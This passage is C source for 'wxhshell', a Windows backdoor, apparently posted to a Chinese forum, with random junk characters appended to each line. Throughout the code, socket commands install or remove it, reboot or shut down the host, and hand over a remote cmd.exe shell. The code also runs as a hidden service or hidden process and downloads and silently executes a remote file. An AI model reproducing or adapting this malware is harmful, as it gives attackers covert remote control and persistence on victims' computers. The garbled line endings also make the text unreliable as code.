  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x?Q;o+2v  
  } a)`h*P5@  
  else { ~_^nWT*BV  
b/ ~&M+)  
    switch(cmd[0]) { ?uh7m 2l0D  
  d{9jd{ _#G  
  // 帮助 c;wt9J.f  
  case '?': { gsT%_2>CL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0=-h9W{zI  
    break; dd98v Vj  
  } yK[ ~(!c5  
  // 安装 U .e Urzu  
  case 'i': { _3kAN .g  
    if(Install()) iCz,|;w%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =o+t_.)N  
    else Lqwc:%Y:_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g($y4~#  
    break; N2q'$o  
    } ~-'nEATE  
  // 卸载 aD%")eP%&  
  case 'r': { X0P<ifIv  
    if(Uninstall()) C]eb=rw$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mufF_e)  
    else Z\LW<**b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (QqKttL:  
    break; =BNmuAY7  
    } #l{qb]n]  
  // 显示 wxhshell 所在路径 lC^q}Bh:  
  case 'p': { VI37  
    char svExeFile[MAX_PATH]; $Fr$9 jq&  
    strcpy(svExeFile,"\n\r"); <3ovCqa  
      strcat(svExeFile,ExeFile); YzEa?F*$  
        send(wsh,svExeFile,strlen(svExeFile),0); 0 ,Bd,<3  
    break; &({X9  
    } ihs@ 'jh  
  // 重启 6VCw>x  
  case 'b': { vgsu~(L;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IvH0sS`F  
    if(Boot(REBOOT)) MPNBA1s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >/evL /  
    else { ) ~ C)4  
    closesocket(wsh); wK|&[m s  
    ExitThread(0); x!LUhX '  
    } <fN?=u+  
    break; u3"F7 lJ  
    } X8?|5$Ey  
  // 关机 4sROMk=l  
  case 'd': { [+ 1([#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )mp0k%  
    if(Boot(SHUTDOWN)) VYlg+MlT0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &5C%5C~ch  
    else { g[:5@fI#*  
    closesocket(wsh); .B>|>W O  
    ExitThread(0); l3(k  
    } /AW6XyMD _  
    break; CDR^xo5 dP  
    } #YjV3O5<  
  // 获取shell JWH}0+1*  
  case 's': { WYI? M  
    CmdShell(wsh); NoiU5pP  
    closesocket(wsh); 1~ZDHfd5  
    ExitThread(0); ^c.b@BE  
    break; Q_M2!qj  
  } *>Om3[D  
  // 退出 Z1OX9]##r  
  case 'x': { eN,m8A`/S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Tc ~  
    CloseIt(wsh); 1!BV]&,[  
    break; w;{k\=W3Ff  
    } zg|yW6l)9  
  // 离开 9;JU c0%  
  case 'q': { qlDLZ.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sm\/wlbE  
    closesocket(wsh); */?L_\7  
    WSACleanup(); {s_0[>  
    exit(1); b!_l(2  
    break; dp_J*8  
        } oLBpG1Va  
  } WMl_$Fd6  
  } $c  f?`k  
hq\KSFP  
  // 提示信息 x"_f$,:!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | M-@Qvgh  
} /`2VJw  
  } %xWmzdn  
.{)b^gE  
  return; Z&J417buk  
} yTbBYx9Bi  
RwT.B+Onuy  
// shell模块句柄 d|DIq T~{W  
int CmdShell(SOCKET sock) ZYu^Q6 b3  
{ 0~BQ8O=+mn  
STARTUPINFO si; }{E//o:Ta  
ZeroMemory(&si,sizeof(si)); E39:}_IV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >-+MWu=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lL%7lO   
PROCESS_INFORMATION ProcessInfo; G{ F>=z"(l  
char cmdline[]="cmd"; r_ r+&4n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2c9@n9Vx3a  
  return 0; {zmo7~=  
} ed*=p l3.  
=ngu*#?c4  
// 自身启动模式 ^<sX^V+{  
int StartFromService(void) 2ZLK`^S  
{ x7{,4js  
typedef struct QR79^A@5  
{ &t p5y}=n  
  DWORD ExitStatus; ~x>IN1Vci  
  DWORD PebBaseAddress;  0fNWI  
  DWORD AffinityMask; KGK8;Q,O  
  DWORD BasePriority; _H:SoJ'  
  ULONG UniqueProcessId; Na3tK}x  
  ULONG InheritedFromUniqueProcessId; xp><7{  
}   PROCESS_BASIC_INFORMATION; ?55('+{l  
PS \QbA  
PROCNTQSIP NtQueryInformationProcess; EA?:GtH  
qWQJ>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xZ4\.K\f]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >+1^XeeS  
c WK@O>  
  HANDLE             hProcess; \U~ggg0h  
  PROCESS_BASIC_INFORMATION pbi; RTF{<,E.UX  
/j3oHi$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zIRa%%.i<  
  if(NULL == hInst ) return 0; gU+BRTZ&x  
(Grj_p6O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V@cRJ3ZF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mb\vHu*53  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); * Q51'?y  
NP%ll e,l  
  if (!NtQueryInformationProcess) return 0; I+u=H2][2  
[-Q"A 6!Zd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9n@jK%m  
  if(!hProcess) return 0; US> m1KsX  
Uc7X)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x1A^QIuxO  
AO^F6Y/  
  CloseHandle(hProcess); Y^3tk}yru  
X3 a:*1N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b/ZX}<s(1=  
if(hProcess==NULL) return 0; :(I)+;M}P  
@JN%P} 4)  
HMODULE hMod; )t)tk=R9N  
char procName[255]; dqd Qt_  
unsigned long cbNeeded; B%'Np7  
zU1rjhv+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QHtpCNTVb  
-pX/Tt6  
  CloseHandle(hProcess); 5zEl`h  
eaF5S'k 4$  
if(strstr(procName,"services")) return 1; // 以服务启动 V @d:n  
P[gk9{sv  
  return 0; // 注册表启动 QC ]z--wu  
} p'xj:bB  
VFG)|Z  
// 主模块 .@=d I  
int StartWxhshell(LPSTR lpCmdLine) :i:Zc~%  
{ wl(}F^:/`  
  SOCKET wsl; =PO/Q|-v?  
BOOL val=TRUE; :q6hT<f;  
  int port=0; &TC  
  struct sockaddr_in door; r Ld,Izi  
U76:F?MH  
  if(wscfg.ws_autoins) Install(); o"'VI4  
)%#hpP M^  
port=atoi(lpCmdLine); a#G7pZX/I}  
3OM\R%M  
if(port<=0) port=wscfg.ws_port; *?\2Ohp  
_#N~$   
  WSADATA data; GI6 EZ}.MZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B_}=v$  
bM;tQ38*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /dWuHS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j}h50*6KO  
  door.sin_family = AF_INET; a&Z|3+ZA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m=%W<8[V  
  door.sin_port = htons(port); 94K ;=5h  
(y(V,kXwa8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TXrC5AJx  
closesocket(wsl); ](8XC_-U'  
return 1; Uv%"45&7  
} p8F|]6Z  
}m0Lr:vq<r  
  if(listen(wsl,2) == INVALID_SOCKET) { _Zb_9&  
closesocket(wsl); '| Ag,x[  
return 1; sy>Pn  
} q$EVd9aN  
  Wxhshell(wsl); q8[Nr3.  
  WSACleanup(); XtQ3$0{*%  
uiiA)j*!  
return 0; drb_GT  
#uey1I@"9  
} &,KxtlR![  
;39{iU. m  
// 以NT服务方式启动 h]MSjC.X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9)f1CC]  
{ ?w<x_Lo  
DWORD   status = 0; S!.xmc\  
  DWORD   specificError = 0xfffffff; m=y6E, _  
#*Mk@XrV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y{jv-&!xB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )03.6 Pvs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O`@$YXuD  
  serviceStatus.dwWin32ExitCode     = 0; .cu5h   
  serviceStatus.dwServiceSpecificExitCode = 0; 9N'$Y*. d<  
  serviceStatus.dwCheckPoint       = 0; CQv [Od  
  serviceStatus.dwWaitHint       = 0; -R&h?ec  
b_wb!_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %lV>Nc|iz=  
  if (hServiceStatusHandle==0) return; .h7b 4J  
sav2.w  
status = GetLastError(); MfYe @ ;m  
  if (status!=NO_ERROR) 1noFXzeU3  
{ `5!7Il  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S3 x:]E:   
    serviceStatus.dwCheckPoint       = 0; &Kjqdp  
    serviceStatus.dwWaitHint       = 0; A= ,q&  
    serviceStatus.dwWin32ExitCode     = status; K-vso4@BJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; }i/{8Ou W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Fi7|  
    return; qBCZ)JEN#U  
  } Sb,{+Wk  
RNi&OG(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Oe;9[=L[  
  serviceStatus.dwCheckPoint       = 0; {J99F  
  serviceStatus.dwWaitHint       = 0; 8#kFS@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,t)mCgbcO  
} Z?v9ub~%  
? 4.W _  
// 处理NT服务事件,比如:启动、停止 m{V @Om  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "BzRL g!J  
{ Zr$PSp}  
switch(fdwControl) _$fxoD9  
{ E6@+w.VVO  
case SERVICE_CONTROL_STOP: A\SbuRty  
  serviceStatus.dwWin32ExitCode = 0; <|m"Q!f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F htf4  
  serviceStatus.dwCheckPoint   = 0; 9_TZ;e  
  serviceStatus.dwWaitHint     = 0; }[75`pC~O  
  { c)Y I3G$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b!`:|!7r'  
  } 'fg`td  
  return; aC%0jJ<eo  
case SERVICE_CONTROL_PAUSE: 2b3*zB*@V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *nH?o* #  
  break; Zj}DlNkVu  
case SERVICE_CONTROL_CONTINUE: |d,1mmv@K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g[eI-J+F  
  break; _ROe!w  1  
case SERVICE_CONTROL_INTERROGATE: ~&KfJ  
  break; 6 QxLHQA  
}; moc_}(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); my04>6j0  
} *, {b]6v  
n P69W  
// 标准应用程序主函数 F*]AjD-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $jw!DrE  
{ z:fd'NC  
<:%Iq13D  
// 获取操作系统版本 YJ:CqTy  
OsIsNt=GetOsVer(); Duz}e80  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >iG`  
xy|;WB  
  // 从命令行安装 63k8j[$  
  if(strpbrk(lpCmdLine,"iI")) Install(); F<^,j7@  
Y RA[qc  
  // 下载执行文件 dXdU4YJ X  
if(wscfg.ws_downexe) { AS8T!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yJKezIL\z  
  WinExec(wscfg.ws_filenam,SW_HIDE);  w[VWk  
} !Ug J^v  
*^NC5=A(d  
if(!OsIsNt) { ;APg!5X  
// 如果时win9x,隐藏进程并且设置为注册表启动 \l]jX: 9(  
HideProc(); 2 3>lE}^G  
StartWxhshell(lpCmdLine); f[dwu39k  
} ]Mtb~^joG  
else /,B"H@ J  
  if(StartFromService()) 0dnm/'L  
  // 以服务方式启动 no;Yu  
  StartServiceCtrlDispatcher(DispatchTable); 9|OQHy  
else ^:DlrI$  
  // 普通方式启动 - +>~  
  StartWxhshell(lpCmdLine); 9g 2x+@5T^  
Z9!goI  
return 0; y`\/eX  
}
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只看该作者 1 发表于: 2006-10-10
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